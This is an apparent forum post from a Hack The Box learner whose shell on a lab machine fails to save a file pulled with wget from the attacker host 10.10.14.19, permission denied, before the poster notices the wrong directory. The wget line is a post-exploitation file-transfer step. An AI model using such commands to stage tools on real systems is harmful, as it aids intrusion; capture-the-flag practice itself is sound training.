wget [ Cannot write to ‘...’ (Permission denied) ]

wget http://10.10.14.19/HTB/cat

–2020-05-15 10:07:23-- http://10.10.14.19/HTB/cat
Connecting to 10.10.14.19:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 240 [application/octet-stream]
cat: Permission denied

Cannot write to ‘cat’ (Permission denied).

I need to upload a file into the shell. I have to get it from my kali folder. He tells me permission denied. How can I make my kali, at least one downloadable folder? Thanks

lol sorry dir wrong

pwd;ls -larth